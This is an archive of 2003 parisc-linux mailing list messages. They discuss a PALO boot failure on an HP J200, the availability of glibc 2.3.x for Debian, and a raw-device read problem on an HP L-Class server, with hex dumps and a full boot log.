Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 77E974843; Thu, 18 Sep 2003 10:39:37 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42687877064.20030918111617@kti.ae.poznan.pl>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19527

On Thu, Sep 18, 2003 at 11:16:17AM +0200, Jacek Chmielewski wrote:
> I want to install Debian on my HP 9000 J200 box and I encountered a problem
> with booting the installation procedure:
> 
> Selected kernel: /vmlinux32 from partition 0
> Selected ramdisk: /ramdiski from partition 0
> ELF32 executable
> Entry 00100098 first 00100000 n 6
> Segment 0 load 00100000 size 2196688 mediaptr 0x1000
> Segment 1 load 0031a000 size 467792 mediaptr 0x21a000
> Segment 2 load 00390000 size 255656 mediaptr 0x28d000
> Segment 3 load 003d0000 size 8192 mediaptr 0x2cc000
> Segment 4 load 003d8000 size 32768 mediaptr 0x2ce000
> Segment 5 load 00402048 size 110832 mediaptr 0x2d6048
> 
> ERROR: Read from boot device failed (status = -13).

if palo is reporting -13 as the IODC return code, that means:
-13     Protocol error
        A protocol violation was encountered on the module-device
	connection while transferring data to or from the device.
	CONDITIONAL. Must be used if the implementation can detect
	             a protocol error.

This would suggest some device is misconfigured.

> byteio_read: seekread() returned -1 expected 2195456
> ERROR: segment 0 read() failed
> Fatal error loading kernel executableERROR: failed to load kernel 
> 
> I tried the Debian binary-1 CD and netinstall CD. Both with almost same
> results ('status = -7' for Debian CD, and 'status = -13' for netinstall
> CD).

-7	Nonexistent device
	The device address specified by ID_addr is a valid device address.
	However, it points to either a device that is not installed or a
	device that does not respond. Returned only by options ARG1=0
	through ARG1=4.
	CONDITIONAL. Must be used if nonexistent devices can be identified.

IIRC, io_ars.pdf describes these errors...I found them in a different document.

> What could be wrong? Do you know any possible source of this problem?


Misconfigured or flakey device. If you can setup a DHCP server
and boot the netinstall lifimage over the LAN, that might work better.

grant


From - Thu Nov 08 21:29:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] update of libc?
Date: Thu, 18 Sep 2003 19:31:33 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <20030918173133.GG12661@lug-owl.de>
References: <20030918113157.000037fb.t.riemer@visoel.de> <20030918160249.GC30890@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="K4TeRK2lnUi9hBXL"
X-Trace: ger.gmane.org 1416622782 31004 80.91.229.3 (22 Nov 2014 02:19:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 11:31:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48625484E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Sep 2003 11:31:34 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 4E32F4B3CA; Thu, 18 Sep 2003 19:31:33 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030918160249.GC30890@systemhalted>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19528

--K4TeRK2lnUi9hBXL
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-09-18 12:02:49 -0400, Carlos O'Donell <carlos@baldric.uwo.ca>
wrote in message <20030918160249.GC30890@systemhalted>:
> On Thu, Sep 18, 2003 at 11:31:57AM +0200, Tilo Riemer wrote:
> > is it dangerous to make an update of libc from 2.2.5 to 2.3.x?
> > At the moment I have only remote access to the affected host.
>=20
> There is no 2.3.x glibc available for debian, it's currently being
> fixed. I apologize for the delay, it's more difficult than usual.

No?

b132l-1:~# dpkg -l libc6
Desired=3DUnknown/Install/Remove/Purge/Hold
| Status=3DNot/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=3D(none)/Hold/Reinst-required/X=3Dboth-problems (Status,Err: upperc=
ase=3Dbad)
||/ Name           Version        Description
+++-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
ii  libc6          2.3.1-17.0.3   GNU C Library: Shared libraries and Timez=
one

For me, that one works and seems to be 2.3.x... However, what are
current libc's problems?

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--K4TeRK2lnUi9hBXL
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/aev0Hb1edYOZ4bsRAtT/AJ9jWSvyTBUH4e35BZ9j4w8LHgmuMACggsqi
julCxZtF6NMSmL5pzouRzjA=
=gBiK
-----END PGP SIGNATURE-----

--K4TeRK2lnUi9hBXL--


From - Thu Nov 08 21:29:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] update of libc?
Date: Thu, 18 Sep 2003 13:49:06 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20030918174906.GD30890@systemhalted>
References: <20030918113157.000037fb.t.riemer@visoel.de> <20030918160249.GC30890@systemhalted> <20030918173133.GG12661@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622782 31007 80.91.229.3 (22 Nov 2014 02:19:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 11:51:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA1E54856
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Sep 2003 11:51:13 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A02tu-0000ay-00; Thu, 18 Sep 2003 13:49:06 -0400
Content-Disposition: inline
In-Reply-To: <20030918173133.GG12661@lug-owl.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (60% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19529

On Thu, Sep 18, 2003 at 07:31:33PM +0200, Jan-Benedict Glaw wrote:
> On Thu, 2003-09-18 12:02:49 -0400, Carlos O'Donell <carlos@baldric.uwo.ca>
> wrote in message <20030918160249.GC30890@systemhalted>:
> > On Thu, Sep 18, 2003 at 11:31:57AM +0200, Tilo Riemer wrote:
> > > is it dangerous to make an update of libc from 2.2.5 to 2.3.x?
> > > At the moment I have only remote access to the affected host.
> > 
> > There is no 2.3.x glibc available for debian, it's currently being
> > fixed. I apologize for the delay, it's more difficult than usual.
> 
> No?

Sorry, 2.3.2, my brain isn't responding to the usual shock treatment.

c.


From - Thu Nov 08 21:29:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "SUDARSANAN,RANJITH (HP-India,ex2)" <ranjith_sudarsanan@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with raw interface.
Date: Fri, 19 Sep 2003 00:36:55 +0530
Lines: 1043
Approved: news@gmane.org
Message-ID: <A11077E28200D51182EA00D0B7755253099DF4E0@xin02.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C37E18.06CAF4E8"
X-Trace: ger.gmane.org 1416622783 31011 80.91.229.3 (22 Nov 2014 02:19:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 13:07:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sngrel4.hp.com (sngrel4.hp.com [192.6.86.110])
	by dsl2.external.hp.com (Postfix) with ESMTP id B42B54866
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Sep 2003 13:07:44 -0600 (MDT)
Original-Received: from XIN02.india.hp.com (xin02.india.hp.com [15.10.41.164])
	by sngrel4.hp.com (Postfix) with ESMTP id 388C4E73
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 03:07:33 +0800 (SST)
Original-Received: by xin02.india.hp.com with Internet Mail Service (5.5.2656.59)
	id <S6WZ24FK>; Fri, 19 Sep 2003 00:37:30 +0530
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19530

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C37E18.06CAF4E8
Content-Type: text/plain

Hi
	I am developing a scsi disk exerciser and I am blocked on a strange
problem with the raw interface. When I use the block device /dev/sda
directly I am able to read and write from the disk properly. But when I use
the raw interface I get garbage. For instance please look at the output
below. I am reading the 1st sector of the disk, which is the boot sector,
When I use the block device /dev/sda I get my expected output, whereas when
I use the raw interface I get garbage. Can any one explain? The machine I am
using is an L Class. 

I have attached the start up (boot up) screen dump at the end of the mail

Kernel details:
oak:~# uname -a
Linux oak 2.4.22-pa3 #1 Thu Sep 18 23:19:58 IST 2003 parisc64 unknown


oak:/home/sranjith# ls -l /dev/sda
brw-rw----    1 root     disk       8,   0 Jun  7  2002 /dev/sda

oak:/home/sranjith# ls -l /dev/sdb
brw-rw----    1 root     disk       8,  16 Jun  7  2002 /dev/sdb

oak:/home/sranjith# ls -l /dev/raw/    
total 0
crw-r--r--    1 root     root     162,   4 Sep 12 00:32 raw4
crw-r--r--    1 root     root     162,   2 Aug  7 00:35 rawsda
crw-r--r--    1 root     root     162,   1 Jul 31 19:33 rawsdb

I am binding the raw devices to the block devices

oak:/home/sranjith# raw /dev/raw/rawsdb /dev/sdb
/dev/raw/raw1:  bound to major 8, minor 16
oak:/home/sranjith# raw /dev/raw/rawsda /dev/sda
/dev/raw/raw2:  bound to major 8, minor 0

oak:/home/sranjith# raw -qa
/dev/raw/raw1:  bound to major 8, minor 16
/dev/raw/raw2:  bound to major 8, minor 0

I am reading the 1st sector of /dev/sda from which I booted

oak:/home/sranjith# dd if=/dev/sda of=o_sda bs=512 count=8
8+0 records in
8+0 records out
oak:/home/sranjith# xxd o_sda |more
0000000: 8000 5041 4c4f 0003 0000 0000 0000 0000  ..PALO..........
0000010: 0000 0000 0000 0000 322f 766d 6c69 6e75  ........2/vmlinu
0000020: 7820 726f 6f74 3d2f 6465 762f 7364 6133  x root=/dev/sda3
0000030: 2048 4f4d 453d 2f00 696e 6974 3d2f 6269   HOME=/.init=/bi
0000040: 6e2f 6261 7368 0037 3a2f 2069 703d 6468  n/bash.7:/ ip=dh
0000050: 6370 2048 4f4d 453d 2f00 0000 0000 0000  cp HOME=/.......
0000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000e0: 0000 0000 0000 0000 0004 4000 0050 7fd9  ..........@..P..
00000f0: 0000 4000 0000 7800 0000 0000 0000 0000  ..@...x.........
0000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
--More--

I am getting a valid output

Now I use the raw interface to read the same sector and I get garbage

oak:/home/sranjith# dd if=/dev/raw/rawsda of=o_sda bs=512 count=8
8+0 records in
8+0 records out
oak:/home/sranjith# xxd o_sda |more
0000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
--More--

I get Garbage	



Boot up screen dump
************ EARLY BOOT VFP *************
End of early boot detected
*****************************************

Firmware Version  41.46

Duplex Console IO Dependent Code (IODC) revision 1

----------------------------------------------------------------------------
--
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
----------------------------------------------------------------------------
--

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst
Data
  ---------  --------   ---------------------  -----------------
------------
      0      750  MHz   Active                 Functional         750 KB 1.5
MB
      2      750  MHz   Idle                   Functional         750 KB 1.5
MB

  Central Bus Speed (in MHz)  :        133  
  Available Memory            :   16777216  KB
  Good Memory Required        :      86948  KB

   Primary boot path:    0/0/2/0.2           
   Alternate boot path:  0/0/1/1.2           
   Console path:         0/0/4/1.0           
   Keyboard path:        0/0/4/0.0           

 WARNING:  The non-destructive test bit was set, so memory was not tested 
            destructively.  Information only, no action required. 


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.
Proceeding...

Trying Primary Boot Path
------------------------
Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Partition Start(MB) End(MB) Id Type
1               1      95   f0 Palo
2              96     286   83 ext2
3             287    5054   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 5275609 bytes @ 0x44000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 2872448 mediaptr 0x1000
Segment 1 load 003be000 size 1028616 mediaptr 0x2bf000
Segment 2 load 004bc000 size 376832 mediaptr 0x3bb000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org


********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system
down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 1, function 0
sym53c8xx: setting PCI_COMMAND_INVALIDATE (fix-up)
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 1, function 1
sym53c8xx: setting PCI_COMMAND_INVALIDATE (fix-up)
sym53c8xx: 53c896 detected 
sym53c875-0: rev 0x14 on pci bus 0 device 2 function 0 irq 130
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-1: rev 0x14 on pci bus 0 device 2 function 1 irq 131
sym53c875-1: ID 7, Fast-20, Parity Checking
sym53c875-2: rev 0x14 on pci bus 64 device 0 function 0 irq 512
sym53c875-2: ID 7, Fast-20, Parity Checking
sym53c875-3: rev 0x14 on pci bus 64 device 0 function 1 irq 513
sym53c875-3: ID 7, Fast-20, Parity Checking
sym53c896-4: rev 0x7 on pci bus 0 device 1 function 0 irq 129
sym53c896-4: ID 7, Fast-20, Parity Checking
sym53c896-4: handling phase mismatch from SCRIPTS.
sym53c896-5: rev 0x7 on pci bus 0 device 1 function 1 irq 130
sym53c896-5: ID 7, Fast-20, Parity Checking
sym53c896-5: handling phase mismatch from SCRIPTS.
scsi0 : sym53c8xx-1.7.3c-20010512
scsi1 : sym53c8xx-1.7.3c-20010512
scsi2 : sym53c8xx-1.7.3c-20010512
scsi3 : sym53c8xx-1.7.3c-20010512
scsi4 : sym53c8xx-1.7.3c-20010512
scsi5 : sym53c8xx-1.7.3c-20010512
blk: queue 000000008f9a3428, I/O limit 4095Mb (mask 0xffffffff)
  Vendor: HP 36.4G  Model: MAN3367MC         Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
blk: queue 000000008f9a3628, I/O limit 4095Mb (mask 0xffffffff)
  Vendor: HP        Model: DVD-ROM 305       Rev: 1.01
  Type:   CD-ROM                             ANSI SCSI revision: 02
blk: queue 000000008f9a3828, I/O limit 4095Mb (mask 0xffffffff)
  Vendor: HP 36.4G  Model: MAN3367MC         Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
blk: queue 000000008f9a3a28, I/O limit 4095Mb (mask 0xffffffff)
Attached scsi disk sda at scsi0, channel 0, id 2, lun 0
Attached scsi disk sdb at scsi5, channel 0, id 2, lun 0
sym53c875-0-<2,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 16)
SCSI device sda: 71132960 512-byte hdwr sectors (36420 MB)
 sda: sda1 sda2 sda3
sym53c896-5-<2,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 31)
SCSI device sdb: 71132960 512-byte hdwr sectors (36420 MB)
 sdb: unknown partition table
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0
sym53c875-1-<2,*>: FAST-20 SCSI 20.0 MB/s (50.0 ns, offset 16)
sr0: scsi3-mmc drive: 16x/40x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.12
STI GSC/PCI graphics driver version 0.9
BUG: Skipping previously registered driver: sti (native)
mice: PS/2 mouse device common for all mice
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :  3434.400 MB/sec
   8regs_prefetch:  2515.600 MB/sec
   32regs    :  2800.000 MB/sec
   32regs_prefetch:  2640.000 MB/sec
raid5: using function: 8regs (3434.400 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 16384 buckets, 128Kbytes
TCP: Hash tables configured (established 262144 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 316k freed
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system
down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
System Clock set. System local time is now Thu Sep 18 18:46:58 UTC 2003.
Calculating module dependencies... depmod: Can't open
/lib/modules/2.4.22-pa3/modules.dep for writing
done.
Loading modules: 
modprobe: Can't open dependencies file /lib/modules/2.4.22-pa3/modules.dep
(No such file or directory)
Checking all file systems...
fsck 1.27 (8-Mar-2002)
/dev/sda2: clean, 20/48960 files, 33836/195584 blocks
Setting kernel variables.
Mounting local filesystems...
/dev/sda2 on /boot type ext2 (rw)
Running 0dns-down to make sure resolv.conf is ok...done.
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: done.
Starting portmap daemon: portmap.
Starting portmapper... Mounting remote filesystems...

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Fri Sep 19 00:17:02 IST 2003

Cleaning: /tmp /var/lock eth0: Setting full-duplex based on MII#1 link
partner capability of 41e1.
/var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting NFS common utilities: statd.
Starting internet superserver: inetd.
Exporting directories for NFS kernel daemon...done.
Starting NFS kernel daemon: nfsd mountd.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.

Debian GNU/Linux 3.0 oak ttyS0

oak login: 

with warm regards,
Ranjith Sudarsanan

--------------------------------------
Ranjith Sudarsanan
Rage Team
30CA, Cunningham Road
Bangalore
--------------------------------------
"When the head bows, it meets the heart and that head which has met the
heart gets the crown!!! - Sri Sri"


------_=_NextPart_001_01C37E18.06CAF4E8
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2655.35">
<TITLE>Problems with raw interface.</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">I am developing a scsi disk exerciser and I am blocked =
on a strange problem with the raw interface. When I use the block =
device /dev/sda directly I am able to read and write from the disk =
properly. But when I use the raw interface I get garbage. For instance =
please look at the output below. I am reading the 1st sector of the =
disk, which is the boot sector, When I use the block device /dev/sda I =
get my expected output, whereas when I use the raw interface I get =
garbage. Can any one explain? The machine I am using is an L Class. =
</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I have attached the start up (boot up) =
screen dump at the end of the mail</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Kernel details:</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">oak:~# uname -a</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Linux oak 2.4.22-pa3 #1 Thu Sep 18 =
23:19:58 IST 2003 parisc64 unknown</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith#</FONT><B> <FONT =
SIZE=3D2 FACE=3D"Arial">ls -l /dev/sda</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">brw-rw----&nbsp;&nbsp;&nbsp; 1 =
root&nbsp;&nbsp;&nbsp;&nbsp; disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
8,&nbsp;&nbsp; 0 Jun&nbsp; 7&nbsp; 2002 /dev/sda</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith#</FONT><B> <FONT =
SIZE=3D2 FACE=3D"Arial">ls -l /dev/sdb</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">brw-rw----&nbsp;&nbsp;&nbsp; 1 =
root&nbsp;&nbsp;&nbsp;&nbsp; disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
8,&nbsp; 16 Jun&nbsp; 7&nbsp; 2002 /dev/sdb</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith#</FONT><B> <FONT =
SIZE=3D2 FACE=3D"Arial">ls -l /dev/raw/&nbsp;&nbsp;&nbsp; </FONT></B>
